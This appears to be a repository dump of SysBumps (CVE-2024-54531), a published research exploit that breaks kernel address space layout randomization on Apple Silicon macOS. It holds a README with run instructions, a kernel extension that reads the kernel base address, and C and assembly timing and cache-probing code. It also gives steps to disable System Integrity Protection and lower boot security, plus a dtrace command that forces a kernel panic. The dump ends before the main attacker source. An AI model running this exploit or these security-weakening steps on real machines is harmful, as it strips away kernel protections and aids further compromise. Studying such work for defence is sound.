├── README.md ├── kext_kernel ├── README.md ├── build.sh ├── kernel_slide.xcodeproj │ ├── project.pbxproj │ ├── project.xcworkspace │ │ ├── contents.xcworkspacedata │ │ ├── xcshareddata │ │ │ └── IDEWorkspaceChecks.plist │ │ └── xcuserdata │ │ │ └── jjang.xcuserdatad │ │ │ └── UserInterfaceState.xcuserstate │ └── xcuserdata │ │ └── jjang.xcuserdatad │ │ ├── xcdebugger │ │ └── Breakpoints_v2.xcbkptlist │ │ └── xcschemes │ │ └── xcschememanagement.plist ├── kernel_slide │ ├── Info.plist │ └── kernel_slide.c └── run.sh └── sysbumps ├── common ├── memory.c ├── memory.h ├── timing.c └── timing.h ├── findKASLR ├── Makefile ├── attacker ├── config.h └── main.c ├── run.sh └── util ├── graph.py └── res /README.md: -------------------------------------------------------------------------------- 1 | # 2 | # CVE-2024-54531 3 | 4 | ## Overview 5 | SysBumps is an exploit designed to break Kernel Address Space Layout Randomization (KASLR) on macOS for Apple Silicon. 6 | 7 | This attack has been successfully tested on the following devices: 8 | - **Apple Silicon**: M1, M1 Pro, M2, M2 Pro, M2 Max, M3, M3 Pro 9 | - **macOS Versions**: 13.1 - 15.1 (Earlier versions may also be vulnerable but are untested) 10 | 11 | 12 | ## More Details 13 | - **CCS'24**: [https://dl.acm.org/doi/abs/10.1145/3658644.3690189](https://dl.acm.org/doi/abs/10.1145/3658644.3690189) 14 | 15 | - **BlackHat EU'24**: [https://www.blackhat.com/eu-24/briefings/schedule/#sysbumps-exploiting-speculative-execution-in-system-calls-for-breaking-kaslr-in-macos-for-apple-silicon-42192](https://www.blackhat.com/eu-24/briefings/schedule/#sysbumps-exploiting-speculative-execution-in-system-calls-for-breaking-kaslr-in-macos-for-apple-silicon-42192) 16 | 17 | 18 | ## Prerequisites 19 | - A macOS device with Apple Silicon (M1, M1 Pro, M2, M2 Pro, M2 Max, M3, M3 Pro) 20 | - macOS version 13.1 - 15.1 21 | 22 | 23 | ## Running the Attack 24 | To execute the attack: 25 | 1. Set `SYSBUMPS_PATH` in `run.sh` to the path of the `sysbumps` directory. 26 | 2. Execute `run.sh` from your terminal. 27 | ```bash 28 | ./run.sh 29 | ``` 30 | 31 | ## Visualizing Attack Outcomes 32 | To visualize the results of the attack: 33 | - Run `graph.py` from the `util` directory. 34 | ```bash 35 | python3 graph.py 36 | ``` 37 | 38 | ## Verifying Kernel Addresses 39 | To confirm the actual kernel addresses, you have two options: 40 | 41 | 1. **Using Kernel Extension (`kernel_slide.kext`)** 42 | - Build and run `kernel_slide.kext` from the `kext_kernel` folder. 43 | - For detailed instructions, refer to the README in that folder. 44 | 45 | 2. **Using dtrace (alternative method)** 46 | - You can generate a kernel panic and examine the debugger message that appears after rebooting: 47 | ```bash 48 | sudo dtrace -w -n "BEGIN{ panic();}" 49 | ``` 50 | 51 | > **NOTE:** 52 | > - To execute `kernel_slide.kext`, you must disable **System Integrity Protection (SIP)** and set your startup disk security to **Reduced Security Mode**. 53 | > - Similarly, disabling SIP is required to execute dtrace commands. 54 | 55 | 56 | ## Disclaimer 57 | This project is for educational and research purposes only. Use of this software for attacking targets without prior mutual consent is illegal. The developer is not responsible for any damage caused by the use of this exploit. 58 | 59 | 60 | -------------------------------------------------------------------------------- /kext_kernel/README.md: -------------------------------------------------------------------------------- 1 | # Extracting Kernel Base Address via KEXT 2 | 3 | `kernel_slide.kext` is a kernel extension for macOS used to extract the kernel base address. 4 | This file helps in identifying the kernel base address. 5 | 6 | ## Configuration 7 | 8 | ### 1. Install Xcode 9 | If Xcode is not installed, download and install it from the [Apple Developer site](https://developer.apple.com/xcode/). 10 | 11 | ### 2. Disabling SIP (System Integrity Protection) 12 | 1. Boot into macOS [Recovery mode](https://support.apple.com/en-us/102518). 13 | 2. Select your account and click **Next**. 14 | 2. In the menu bar at the top, select **Utilities > Terminal**. 15 | 3. Type the following command: 16 | ```bash 17 | csrutil disable 18 | csrutil authenticated-root disable 19 | ``` 20 | 21 | ### 3. Changing startup disk security settings 22 | 1. Boot into macOS [Recovery mode](https://support.apple.com/en-us/102518). 23 | 2. In the menu bar at the top, select Utilities > Startup Security Utility. 24 | 3. Click **Security Policy...**. 25 | 4. Check **Reduced Security**. 26 | 5. Check the **Allow user management of kernel extensions from identified developers** box. 27 | 6. Click **OK**. (NOTE, Run it again from step 3 to check once more whether it is set up properly.) 28 | 7. Restart your Mac. 29 | 30 | 31 | ## Building the kext 32 | 1. To build the kext, run the following command: 33 | ```bash 34 | sudo ./build.sh 35 | ``` 36 | 2. If pop-up appears, click **Open System Setting**. (If not, open **System Settings** from the Apple menu  and click **Privacy & Security** in the sidebar. 37 | 3. Scroll down to find the **Security** section. 38 | 4. Check **App Store and identified developers**. 39 | 5. Click **Enable System Extensions** (or **Allow** or **Details**). 40 | 6. When the first pop-up appears, enter your password and click **Modify Setting**. 41 | 7. When the second pop-up appears, enter your password and click **OK**. 42 | 8. Click **Restart**. 43 | 44 | **NOTE**. If you encounter the error '**Domain=KMErrorDomain Code=29 "Authenticating extension failed"**', please perform **Disabling SIP** and **Changing startup disk security settings** again. 45 | 46 | 47 | ## Using the kext 48 | Load the kext using the provided script: 49 | ```bash 50 | sudo ./run.sh 51 | ``` 52 | 53 | This script will load the `kernel_slide.kext` and extract the kernel base address, which will be displayed in the terminal. as follows: 54 | ```bash 55 | 2024-07-xx xx:xx:xx.596346+0900 0xc1e Default 0x0 0 0 kernel: (kernel_slide) [SysBumps] base = 0xfffffe002724c000 56 | ``` 57 | 58 | -------------------------------------------------------------------------------- /kext_kernel/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | 3 | if [ "$(id -u)" != "0" ]; then 4 | echo "This script must be run with root privileges!!" 5 | exit 1 6 | fi 7 | 8 | 9 | xcodebuild -project kernel_slide.xcodeproj -configuration Debug 10 | cp -r ./build/Debug/kernel_slide.kext ./ 11 | 12 | 13 | chown -R root:wheel kernel_slide.kext 14 | chmod -R 0644 kernel_slide.kext 15 | kmutil load -p kernel_slide.kext 16 | -------------------------------------------------------------------------------- /kext_kernel/kernel_slide.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 56; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | CED1CACE29669618007B532E /* kernel_slide.c in Sources */ = {isa = PBXBuildFile; fileRef = CED1CACD29669618007B532E /* kernel_slide.c */; }; 11 | /* End PBXBuildFile section */ 12 | 13 | /* Begin PBXFileReference section */ 14 | CED1CACA29669618007B532E /* kernel_slide.kext */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = kernel_slide.kext; sourceTree = BUILT_PRODUCTS_DIR; }; 15 | CED1CACD29669618007B532E /* kernel_slide.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kernel_slide.c; sourceTree = ""; }; 16 | CED1CACF29669618007B532E /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 17 | /* End PBXFileReference section */ 18 | 19 | /* Begin PBXFrameworksBuildPhase section */ 20 | CED1CAC729669618007B532E /* Frameworks */ = { 21 | isa = PBXFrameworksBuildPhase; 22 | buildActionMask = 2147483647; 23 | files = ( 24 | ); 25 | runOnlyForDeploymentPostprocessing = 0; 26 | }; 27 | /* End PBXFrameworksBuildPhase section */ 28 | 29 | /* Begin PBXGroup section */ 30 | CED1CAC029669618007B532E = { 31 | isa = PBXGroup; 32 | children = ( 33 | CED1CACC29669618007B532E /* kernel_slide */, 34 | CED1CACB29669618007B532E /* Products */, 35 | ); 36 | sourceTree = ""; 37 | }; 38 | CED1CACB29669618007B532E /* Products */ = { 39 | isa = PBXGroup; 40 | children = ( 41 | CED1CACA29669618007B532E /* kernel_slide.kext */, 42 | ); 43 | name = Products; 44 | sourceTree = ""; 45 | }; 46 | CED1CACC29669618007B532E /* kernel_slide */ = { 47 | isa = PBXGroup; 48 | children = ( 49 | CED1CACD29669618007B532E /* kernel_slide.c */, 50 | CED1CACF29669618007B532E /* Info.plist */, 51 | ); 52 | path = kernel_slide; 53 | sourceTree = ""; 54 | }; 55 | /* End PBXGroup section */ 56 | 57 | /* Begin PBXHeadersBuildPhase section */ 58 | CED1CAC529669618007B532E /* Headers */ = { 59 | isa = PBXHeadersBuildPhase; 60 | buildActionMask = 2147483647; 61 | files = ( 62 | ); 63 | runOnlyForDeploymentPostprocessing = 0; 64 | }; 65 | /* End PBXHeadersBuildPhase section */ 66 | 67 | /* Begin PBXNativeTarget section */ 68 | CED1CAC929669618007B532E /* kernel_slide */ = { 69 | isa = PBXNativeTarget; 70 | buildConfigurationList = CED1CAD229669618007B532E /* Build configuration list for PBXNativeTarget "kernel_slide" */; 71 | buildPhases = ( 72 | CED1CAC529669618007B532E /* Headers */, 73 | CED1CAC629669618007B532E /* Sources */, 74 | CED1CAC729669618007B532E /* Frameworks */, 75 | CED1CAC829669618007B532E /* Resources */, 76 | ); 77 | buildRules = ( 78 | ); 79 | dependencies = ( 80 | ); 81 | name = kernel_slide; 82 | productName = kernel_slide; 83 | productReference = CED1CACA29669618007B532E /* kernel_slide.kext */; 84 | productType = "com.apple.product-type.kernel-extension"; 85 | }; 86 | /* End PBXNativeTarget section */ 87 | 88 | /* Begin PBXProject section */ 89 | CED1CAC129669618007B532E /* Project object */ = { 90 | isa = PBXProject; 91 | attributes = { 92 | BuildIndependentTargetsInParallel = 1; 93 | LastUpgradeCheck = 1420; 94 | TargetAttributes = { 95 | CED1CAC929669618007B532E = { 96 | CreatedOnToolsVersion = 14.2; 97 | }; 98 | }; 99 | }; 100 | buildConfigurationList = CED1CAC429669618007B532E /* Build configuration list for PBXProject "kernel_slide" */; 101 | compatibilityVersion = "Xcode 14.0"; 102 | developmentRegion = en; 103 | hasScannedForEncodings = 0; 104 | knownRegions = ( 105 | en, 106 | Base, 107 | ); 108 | mainGroup = CED1CAC029669618007B532E; 109 | productRefGroup = CED1CACB29669618007B532E /* Products */; 110 | projectDirPath = ""; 111 | projectRoot = ""; 112 | targets = ( 113 | CED1CAC929669618007B532E /* kernel_slide */, 114 | ); 115 | }; 116 | /* End PBXProject section */ 117 | 118 | /* Begin PBXResourcesBuildPhase section */ 119 | CED1CAC829669618007B532E /* Resources */ = { 120 | isa = PBXResourcesBuildPhase; 121 | buildActionMask = 2147483647; 122 | files = ( 123 | ); 124 | runOnlyForDeploymentPostprocessing = 0; 125 | }; 126 | /* End PBXResourcesBuildPhase section */ 127 | 128 | /* Begin PBXSourcesBuildPhase section */ 129 | CED1CAC629669618007B532E /* Sources */ = { 130 | isa = PBXSourcesBuildPhase; 131 | buildActionMask = 2147483647; 132 | files = ( 133 | CED1CACE29669618007B532E /* kernel_slide.c in Sources */, 134 | ); 135 | runOnlyForDeploymentPostprocessing = 0; 136 | }; 137 | /* End PBXSourcesBuildPhase section */ 138 | 139 | /* Begin XCBuildConfiguration section */ 140 | CED1CAD029669618007B532E /* Debug */ = { 141 | isa = XCBuildConfiguration; 142 | buildSettings = { 143 | ALWAYS_SEARCH_USER_PATHS = NO; 144 | CLANG_ANALYZER_NONNULL = YES; 145 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 146 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 147 | CLANG_ENABLE_MODULES = YES; 148 | CLANG_ENABLE_OBJC_ARC = YES; 149 | CLANG_ENABLE_OBJC_WEAK = YES; 150 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 151 | CLANG_WARN_BOOL_CONVERSION = YES; 152 | CLANG_WARN_COMMA = YES; 153 | CLANG_WARN_CONSTANT_CONVERSION = YES; 154 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 155 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 156 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 157 | CLANG_WARN_EMPTY_BODY = YES; 158 | CLANG_WARN_ENUM_CONVERSION = YES; 159 | CLANG_WARN_INFINITE_RECURSION = YES; 160 | CLANG_WARN_INT_CONVERSION = YES; 161 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 162 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 163 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 164 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 165 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 166 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 167 | CLANG_WARN_STRICT_PROTOTYPES = YES; 168 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 169 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 170 | CLANG_WARN_UNREACHABLE_CODE = YES; 171 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 172 | COPY_PHASE_STRIP = NO; 173 | DEBUG_INFORMATION_FORMAT = dwarf; 174 | ENABLE_STRICT_OBJC_MSGSEND = YES; 175 | ENABLE_TESTABILITY = YES; 176 | GCC_C_LANGUAGE_STANDARD = gnu11; 177 | GCC_DYNAMIC_NO_PIC = NO; 178 | GCC_NO_COMMON_BLOCKS = YES; 179 | GCC_OPTIMIZATION_LEVEL = 0; 180 | GCC_PREPROCESSOR_DEFINITIONS = ( 181 | "DEBUG=1", 182 | "$(inherited)", 183 | ); 184 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 185 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 186 | GCC_WARN_UNDECLARED_SELECTOR = YES; 187 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 188 | GCC_WARN_UNUSED_FUNCTION = YES; 189 | GCC_WARN_UNUSED_VARIABLE = YES; 190 | MACOSX_DEPLOYMENT_TARGET = 13.1; 191 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 192 | MTL_FAST_MATH = YES; 193 | ONLY_ACTIVE_ARCH = YES; 194 | SDKROOT = macosx; 195 | }; 196 | name = Debug; 197 | }; 198 | CED1CAD129669618007B532E /* Release */ = { 199 | isa = XCBuildConfiguration; 200 | buildSettings = { 201 | ALWAYS_SEARCH_USER_PATHS = NO; 202 | CLANG_ANALYZER_NONNULL = YES; 203 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 204 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 205 | CLANG_ENABLE_MODULES = YES; 206 | CLANG_ENABLE_OBJC_ARC = YES; 207 | CLANG_ENABLE_OBJC_WEAK = YES; 208 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 209 | CLANG_WARN_BOOL_CONVERSION = YES; 210 | CLANG_WARN_COMMA = YES; 211 | CLANG_WARN_CONSTANT_CONVERSION = YES; 212 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 213 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 214 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 215 | CLANG_WARN_EMPTY_BODY = YES; 216 | CLANG_WARN_ENUM_CONVERSION = YES; 217 | CLANG_WARN_INFINITE_RECURSION = YES; 218 | CLANG_WARN_INT_CONVERSION = YES; 219 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 220 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 221 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 222 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 223 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 224 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 225 | CLANG_WARN_STRICT_PROTOTYPES = YES; 226 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 227 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 228 | CLANG_WARN_UNREACHABLE_CODE = YES; 229 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 230 | COPY_PHASE_STRIP = NO; 231 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 232 | ENABLE_NS_ASSERTIONS = NO; 233 | ENABLE_STRICT_OBJC_MSGSEND = YES; 234 | GCC_C_LANGUAGE_STANDARD = gnu11; 235 | GCC_NO_COMMON_BLOCKS = YES; 236 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 237 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 238 | GCC_WARN_UNDECLARED_SELECTOR = YES; 239 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 240 | GCC_WARN_UNUSED_FUNCTION = YES; 241 | GCC_WARN_UNUSED_VARIABLE = YES; 242 | MACOSX_DEPLOYMENT_TARGET = 13.1; 243 | MTL_ENABLE_DEBUG_INFO = NO; 244 | MTL_FAST_MATH = YES; 245 | SDKROOT = macosx; 246 | }; 247 | name = Release; 248 | }; 249 | CED1CAD329669618007B532E /* Debug */ = { 250 | isa = XCBuildConfiguration; 251 | buildSettings = { 252 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = NO; 253 | CODE_SIGN_STYLE = Automatic; 254 | CURRENT_PROJECT_VERSION = 1; 255 | GENERATE_INFOPLIST_FILE = YES; 256 | INFOPLIST_FILE = kernel_slide/Info.plist; 257 | INFOPLIST_KEY_NSHumanReadableCopyright = ""; 258 | MACOSX_DEPLOYMENT_TARGET = 13.1; 259 | MARKETING_VERSION = 1.0; 260 | MODULE_NAME = kernel_slide.kernel_slide; 261 | MODULE_START = kernel_slide_start; 262 | MODULE_STOP = kernel_slide_stop; 263 | MODULE_VERSION = 1.0.0d1; 264 | PRODUCT_BUNDLE_IDENTIFIER = "kernel-slide.kernel-slide"; 265 | PRODUCT_NAME = "$(TARGET_NAME)"; 266 | RUN_CLANG_STATIC_ANALYZER = YES; 267 | SWIFT_EMIT_LOC_STRINGS = YES; 268 | WRAPPER_EXTENSION = kext; 269 | }; 270 | name = Debug; 271 | }; 272 | CED1CAD429669618007B532E /* Release */ = { 273 | isa = XCBuildConfiguration; 274 | buildSettings = { 275 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = NO; 276 | CODE_SIGN_STYLE = Automatic; 277 | CURRENT_PROJECT_VERSION = 1; 278 | GENERATE_INFOPLIST_FILE = YES; 279 | INFOPLIST_FILE = kernel_slide/Info.plist; 280 | INFOPLIST_KEY_NSHumanReadableCopyright = ""; 281 | MACOSX_DEPLOYMENT_TARGET = 13.1; 282 | MARKETING_VERSION = 1.0; 283 | MODULE_NAME = kernel_slide.kernel_slide; 284 | MODULE_START = kernel_slide_start; 285 | MODULE_STOP = kernel_slide_stop; 286 | MODULE_VERSION = 1.0.0d1; 287 | PRODUCT_BUNDLE_IDENTIFIER = "kernel-slide.kernel-slide"; 288 | PRODUCT_NAME = "$(TARGET_NAME)"; 289 | RUN_CLANG_STATIC_ANALYZER = YES; 290 | SWIFT_EMIT_LOC_STRINGS = YES; 291 | WRAPPER_EXTENSION = kext; 292 | }; 293 | name = Release; 294 | }; 295 | /* End XCBuildConfiguration section */ 296 | 297 | /* Begin XCConfigurationList section */ 298 | CED1CAC429669618007B532E /* Build configuration list for PBXProject "kernel_slide" */ = { 299 | isa = XCConfigurationList; 300 | buildConfigurations = ( 301 | CED1CAD029669618007B532E /* Debug */, 302 | CED1CAD129669618007B532E /* Release */, 303 | ); 304 | defaultConfigurationIsVisible = 0; 305 | defaultConfigurationName = Release; 306 | }; 307 | CED1CAD229669618007B532E /* Build configuration list for PBXNativeTarget "kernel_slide" */ = { 308 | isa = XCConfigurationList; 309 | buildConfigurations = ( 310 | CED1CAD329669618007B532E /* Debug */, 311 | CED1CAD429669618007B532E /* Release */, 312 | ); 313 | defaultConfigurationIsVisible = 0; 314 | defaultConfigurationName = Release; 315 | }; 316 | /* End XCConfigurationList section */ 317 | }; 318 | rootObject = CED1CAC129669618007B532E /* Project object */; 319 | } 320 | -------------------------------------------------------------------------------- /kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/xcuserdata/jjang.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koreacsl/SysBumps/24a7c5c25561252f9577470d136aaad09e66f310/kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/xcuserdata/jjang.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /kext_kernel/kernel_slide.xcodeproj/xcuserdata/jjang.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 9 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /kext_kernel/kernel_slide.xcodeproj/xcuserdata/jjang.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | kernel_slide.xcscheme_^#shared#^_ 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /kext_kernel/kernel_slide/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | OSBundleLibraries 6 | 7 | com.apple.kpi.bsd 8 | 21.5 9 | com.apple.kpi.iokit 10 | 21.5 11 | com.apple.kpi.libkern 12 | 21.5 13 | com.apple.kpi.mach 14 | 21.5 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /kext_kernel/kernel_slide/kernel_slide.c: -------------------------------------------------------------------------------- 1 | // 2 | // kernel_slide.c 3 | // kernel_slide 4 | // 5 | // Created by hyerean JJang on 2023/01/05. 6 | // 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | 16 | kern_return_t kernel_slide_start(kmod_info_t * ki, void *d); 17 | kern_return_t kernel_slide_stop(kmod_info_t *ki, void *d); 18 | 19 | #define MAX_SLIDE_STEP 4096 20 | #define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0xfffffe0000000000) //0xFFFFFF8000000000 21 | #define VM_MIN_KERNEL_AND_KEXT_ADDRESS (VM_MIN_KERNEL_ADDRESS) //0xFFFFFF8000000000 22 | #define VM_KERNEL_LINK_ADDRESS ((vm_offset_t) 0xfffffe0007004000) 23 | 24 | 25 | static vm_offset_t get_vm_kernel_addrperm_ext(void) 26 | { 27 | static vm_offset_t addrperm_ext = 0L; 28 | if (addrperm_ext != 0L) goto out_exit; 29 | vm_kernel_addrperm_external(VM_MIN_KERNEL_AND_KEXT_ADDRESS, &addrperm_ext); 30 | addrperm_ext -= VM_MIN_KERNEL_AND_KEXT_ADDRESS; 31 | out_exit: 32 | return addrperm_ext; 33 | } 34 | 35 | 36 | static vm_offset_t get_vm_kernel_slide(void) 37 | { 38 | static uint16_t i = MAX_SLIDE_STEP; 39 | static vm_offset_t fake = VM_MIN_KERNEL_AND_KEXT_ADDRESS; 40 | static vm_offset_t slide = 0L; 41 | 42 | if (get_vm_kernel_addrperm_ext() == 0L) goto out_exit; 43 | if (slide != 0L || i == 0) goto out_exit; 44 | 45 | while (--i) { 46 | vm_kernel_unslide_or_perm_external(fake, &slide); 47 | /* We assume unslide address is unique to those two */ 48 | if (slide != fake && slide != fake + get_vm_kernel_addrperm_ext()) { 49 | slide = fake - slide; 50 | break; 51 | } 52 | fake += 0x100000L; 53 | slide = 0L; 54 | } 55 | 56 | out_exit: 57 | return slide + VM_KERNEL_LINK_ADDRESS; 58 | } 59 | 60 | 61 | kern_return_t kernel_slide_start(kmod_info_t * ki, void *d) 62 | { 63 | vm_offset_t kernel_base; 64 | 65 | kernel_base = get_vm_kernel_slide(); 66 | 67 | os_log(OS_LOG_DEFAULT, "[SysBumps_log] base = 0x%x%08x\n", (uint32_t)(((uint64_t)kernel_base) >> 32), (uint32_t)(((uint64_t)kernel_base) & 0xFFFFFFFF)); 68 | return KERN_SUCCESS; 69 | } 70 | 71 | kern_return_t kernel_slide_stop(kmod_info_t *ki, void *d) 72 | { 73 | return KERN_SUCCESS; 74 | } 75 | 76 | -------------------------------------------------------------------------------- /kext_kernel/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$(id -u)" != "0" ]; then 4 | echo "This script must be run with root privileges!!" 5 | exit 1 6 | fi 7 | 8 | kmutil load -p kernel_slide.kext 9 | log show --last 20s | grep "SysBumps_log" 10 | kmutil unload -p kernel_slide.kext 11 | -------------------------------------------------------------------------------- /sysbumps/common/memory.c: -------------------------------------------------------------------------------- 1 | 2 | #include "memory.h" 3 | 4 | void gen_eset(void * target, void ** eset, void * addr){ 5 | void * base = addr + ((uint64_t)target & (ESET_OFFSET - 1)); 6 | 7 | for( int i = 0 ; i < ESET_SIZE ; i++){ 8 | eset[i] = base + (ESET_OFFSET+128)* (i + 1); 9 | } 10 | memory_fence(); 11 | } 12 | -------------------------------------------------------------------------------- /sysbumps/common/memory.h: -------------------------------------------------------------------------------- 1 | #ifndef MEMORY_H 2 | #define MEMORY_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "config.h" 11 | #include "timing.h" 12 | 13 | #define memory_access(x) __asm__ volatile("LDR x10, [%[addr]]" :: [addr] "r" (x) : "x10", "memory") 14 | #define memory_prefetch(x) __asm__ volatile("PRFM PSTL1STRM,[%[addr]]" :: [addr] "r" (x) : "x10", "memory") 15 | #define memory_fence() __asm__ volatile("DMB SY\nISB SY" ::: "memory") 16 | #define nop() __asm__ volatile("MOV x10, x10" ::: "x10", "memory") 17 | 18 | static inline __attribute__((always_inline)) uint64_t probe_access(void* address){ 19 | register uint64_t start, end; 20 | memory_fence(); 21 | timer_read(start); 22 | memory_fence(); 23 | memory_access(address); 24 | memory_fence(); 25 | timer_read(end); 26 | memory_fence(); 27 | return end - start; 28 | } 29 | 30 | static inline __attribute__((always_inline)) uint64_t probe_prefetch(void* address){ 31 | register uint64_t start, end; 32 | memory_fence(); 33 | timer_read(start); 34 | memory_fence(); 35 | memory_prefetch(address); 36 | memory_fence(); 37 | timer_read(end); 38 | memory_fence(); 39 | return end - start; 40 | } 41 | 42 | 43 | static inline __attribute__((always_inline)) void prime(void ** eset){ 44 | for(int i = 0 ; i < ESET_SIZE ; i++ ){ 45 | memory_fence(); 46 | memory_access(eset[i]); 47 | memory_fence(); 48 | } 49 | } 50 | 51 | 52 | static inline __attribute__((always_inline)) uint64_t probe(void ** eset){ 53 | uint64_t time = 0; 54 | for(int i = 0 ;i < ESET_SIZE ; i++){ 55 | memory_fence(); 56 | time += probe_prefetch(eset[i]); 57 | memory_fence(); 58 | } 59 | return time; 60 | } 61 | 62 | void gen_eset(void * target, void ** eset, void * addr); 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /sysbumps/common/timing.c: -------------------------------------------------------------------------------- 1 | #include "timing.h" 2 | 3 | void* counting(void* ctx){ 4 | __asm__ volatile( 5 | "LDR x10, [%[ctx]]\n" 6 | "loop:\n" 7 | "ADD x10, x10, #1\n" 8 | "STR x10, [%[ctx]]\n" 9 | "B loop\n" 10 | : 11 | : [ctx] "r" (ctx) 12 | : "x10", "memory" 13 | ); 14 | } 15 | 16 | void start_timer(){ 17 | pthread_create(&counting_thread, NULL, counting, ×tamp); 18 | } 19 | 20 | void stop_timer(){ 21 | pthread_cancel(counting_thread); 22 | } 23 | -------------------------------------------------------------------------------- /sysbumps/common/timing.h: -------------------------------------------------------------------------------- 1 | #ifndef TIME_H 2 | #define TIME_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | uint64_t timestamp; 12 | pthread_t counting_thread; 13 | 14 | #define timer_read(x) x = timestamp 15 | //#define timer_read(x) __asm__ volatile("mrs %[time], S3_2_c15_c0_0" : [time]"=r"(x)); 16 | void start_timer(); 17 | void stop_timer(); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /sysbumps/findKASLR/Makefile: -------------------------------------------------------------------------------- 1 | CC = clang 2 | TARGET = attacker 3 | 4 | VPATH = $(CURDIR) $(COMDIR) 5 | 6 | COMDIR = ../common 7 | 8 | CFLAGS = -arch arm64 -w -I./ -I$(COMDIR) 9 | 10 | #SRCS = $(foreach dir, ./ $(COMDIR), $(wildcard $(dir)/*.c)) 11 | #SRCS := $(notdir $(SRCS)) 12 | #OBJS = $(SRCS:.c=.o) 13 | OBJS = main.o memory.o timing.o 14 | 15 | all : $(TARGET) 16 | rm -f $(OBJS) 17 | 18 | $(TARGET) : $(OBJS) 19 | $(CC) -o $(TARGET) $(OBJS) 20 | 21 | .c.o : 22 | $(CC) $(CFLAGS) -c -o $@ $< 23 | 24 | clean : 25 | rm -f $(OBJS) $(TARGET) 26 | 27 | 28 | -------------------------------------------------------------------------------- /sysbumps/findKASLR/attacker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koreacsl/SysBumps/24a7c5c25561252f9577470d136aaad09e66f310/sysbumps/findKASLR/attacker -------------------------------------------------------------------------------- /sysbumps/findKASLR/config.h: -------------------------------------------------------------------------------- 